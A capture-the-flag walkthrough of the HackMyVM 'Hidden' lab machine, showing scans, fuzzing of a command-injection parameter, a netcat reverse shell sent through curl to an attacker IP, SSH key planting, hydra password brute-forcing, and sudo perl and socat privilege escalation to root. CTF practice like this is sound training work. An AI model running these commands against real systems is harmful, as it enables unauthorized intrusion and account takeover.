HackMyVm Hidden Walkthrough

HackMyVm Hidden Walkthrough

https://hackmyvm.eu/machines/machine.php?vm=Hidden

Scan ports.

 nmap -sV -sC -p- 192.168.56.99  -oN ports.log                                     sudo-0 | 0 [14:50:06]
 ...
 PORT   STATE SERVICE VERSION
 22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
 | ssh-hostkey:
 |   2048 b8:10:9f:60:e6:2b:62:cb:3a:8c:8c:60:4b:1d:99:b9 (RSA)
 |   256 64:b5:b8:e6:0f:79:23:4d:4a:c0:9b:0f:a7:75:67:c9 (ECDSA)
 |_  256 d1:11:e4:07:8a:fe:06:72:64:62:28:ca:e3:29:7b:a0 (ED25519)
 80/tcp open  http    Apache httpd 2.4.38 ((Debian))
 |_http-server-header: Apache/2.4.38 (Debian)
 |_http-title: Level 1
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 

Scan port 80.

 cat 80.log                                                                         fish-0 | 0 [19:39:15]
 /index.html           (Status: 200) [Size: 392]

Check index.html, found a png file and some hints.


     <body> 
         <h1><center>Welcome to level 1</center></h1>
          <center><img src="decodethis_pls.png"></center>
     </body>
     <!-- format xxx.xxxxxx.xxx -->

The png is tic-tac-toe Cipher. Decode it online.


Add sys.hidden.hmv to /etc/hosts. Scan port 80 again.

 gobuster dir -u http://sys.hidden.hmv -t 50  -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt  -x .html,.php,.txt,.bak,.zip -b 401,403,404,500 --wildcard   -o sys.hidden.hmv.log
 ...
 /users                (Status: 301) [Size: 316] [--> http://sys.hidden.hmv/users/]
 /members              (Status: 301) [Size: 318] [--> http://sys.hidden.hmv/members/]
 /index.html           (Status: 200) [Size: 282]
 /weapon               (Status: 301) [Size: 317] [--> http://sys.hidden.hmv/weapon/]

Scan /weapon.

 gobuster dir -u http://sys.hidden.hmv/weapon -t 50  -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt  -x .html,.php,.txt,.bak,.zip -b 401,403,404,500 --wildcard   -o weapon.log
 ...
 /index.html           (Status: 200) [Size: 0]
 /loot.php             (Status: 200) [Size: 0]

Fuzz loot.php.

 wfuzz -u 'http://sys.hidden.hmv/weapon/loot.php?FUZZ=id' -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --hh 0
  ...
 =====================================================================
 ID           Response   Lines    Word       Chars       Payload                                  
 =====================================================================
 000008724:   200        1 L      3 W        54 Ch       "hack"  

Check RCE.

 curl 'http://sys.hidden.hmv/weapon/loot.php?hack=id'                               fish-0 | 0 [18:08:52]
 uid=33(www-data) gid=33(www-data) groups=33(www-data)

Get reverse shell as www-data.

 curl 'http://sys.hidden.hmv/weapon/loot.php?hack=nc%20192.168.56.150%201234%20-e%20/bin/bash'
 
 nc -nlvp 1234                                                                      fish-0 | 0 [18:05:18]
 Ncat: Version 7.91 ( https://nmap.org/ncat )
 Ncat: Listening on :::1234
 Ncat: Listening on 0.0.0.0:1234
 Ncat: Connection from 192.168.56.99.
 Ncat: Connection from 192.168.56.99:39104.
 python3 -c 'import pty;pty.spawn("/bin/bash")'
 www-data@hidden:/var/www/hidden/weapon$
 

Check sudo.

 www-data@hidden:/home$ sudo -l
 sudo -l
 Matching Defaults entries for www-data on hidden:
     env_reset, mail_badpass,
     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
 
 User www-data may run the following commands on hidden:
     (toreto) NOPASSWD: /usr/bin/perl

Get shell as toreto.

 www-data@hidden:/home/toreto$ sudo -u toreto perl -e 'exec "/bin/bash";'
 sudo -u toreto perl -e 'exec "/bin/bash";'
 toreto@hidden:~$ id
 id
 uid=1001(toreto) gid=1000(toreto) groups=1000(toreto)
 

Upload id_rsa.pub in /home/toreto/.ssh, and rename it to authorized_keys, chmod 600.

 toreto@hidden:~$ pwd
 pwd
 /home/toreto
 toreto@hidden:~$ mkdir .ssh
 mkdir .ssh
 toreto@hidden:~$ cd .ssh
 cd .ssh
 toreto@hidden:~/.ssh$ wget http://192.168.56.150/id_rsa.pub -O authorized_keys
 <http://192.168.56.150/id_rsa.pub -O authorized_keys
 --2021-05-31 04:46:26--  http://192.168.56.150/id_rsa.pub
 Connecting to 192.168.56.150:80... connected.
 HTTP request sent, awaiting response... 200 OK
 Length: 565 [application/x-mspublisher]
 Saving to: ‘authorized_keys’
 authorized_keys     100%[===================>]     565  --.-KB/s    in 0s
 2021-05-31 04:46:26 (9.01 MB/s) - ‘authorized_keys’ saved [565/565]
 toreto@hidden:~/.ssh$ chmod 600 authorized_keys
 chmod 600 authorized_keys

Then login ssh as toreto.

 ssh toreto@192.168.56.99                                                                                                                                                                      fish-0 | 0 [19:42:48]
 Enter passphrase for key '/home/kali/.ssh/id_rsa':
 Linux hidden 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
      _________
     / ======= \
    / __________\
   | ___________ |
   | | -       | |
   | |         | |
   | |_________| |  ___________________
   \=____________/  Hack_My_VM - Hidden
   / """"""""""" \  -------------------                    
  / ::::::::::::: \                  
 (_________________)
 
 ---------------------------------------------------
 Congratulations!!! you have reached the last level!
 Good Luck! ;)
 ---------------------------------------------------
 
 Last login: Mon May 31 04:47:11 2021 from 192.168.56.150
 toreto@hidden:~$
 

In /home/atenea/.hidden, found a dic file.

 toreto@hidden:/home/atenea$ cd .hidden/
 toreto@hidden:/home/atenea/.hidden$ ls -la
 total 16
 drwxr-xr-x 2 atenea atenea 4096 May 22 19:17 .
 drwxr-xr-x 4 atenea atenea 4096 May 31 04:53 ..
 -rw------- 1 toreto toreto 6170 May 22 19:11 atenea.txt

Bruteforce password of atenea.

 hydra -l atenea -P atenea.txt 192.168.56.99 ssh -f                                 nc-0 | 130 [19:29:55]
 ...
 [STATUS] 161.00 tries/min, 161 tries in 00:01h, 401 to do in 00:03h, 16 active
 [STATUS] 112.67 tries/min, 338 tries in 00:03h, 225 to do in 00:02h, 16 active
 [22][ssh] host: 192.168.56.99   login: atenea   password: sys8423hmv

Login as atenea, check sudo.

 atenea@hidden:~$ sudo -l
 Matching Defaults entries for atenea on hidden:
     env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
 
 User atenea may run the following commands on hidden:
     (root) NOPASSWD: /usr/bin/socat

Get root shell using socat.

 atenea@hidden:~$ sudo socat stdin exec:/bin/bash
 id
 uid=0(root) gid=0(root) groups=0(root)
 hostname
 hidden
 



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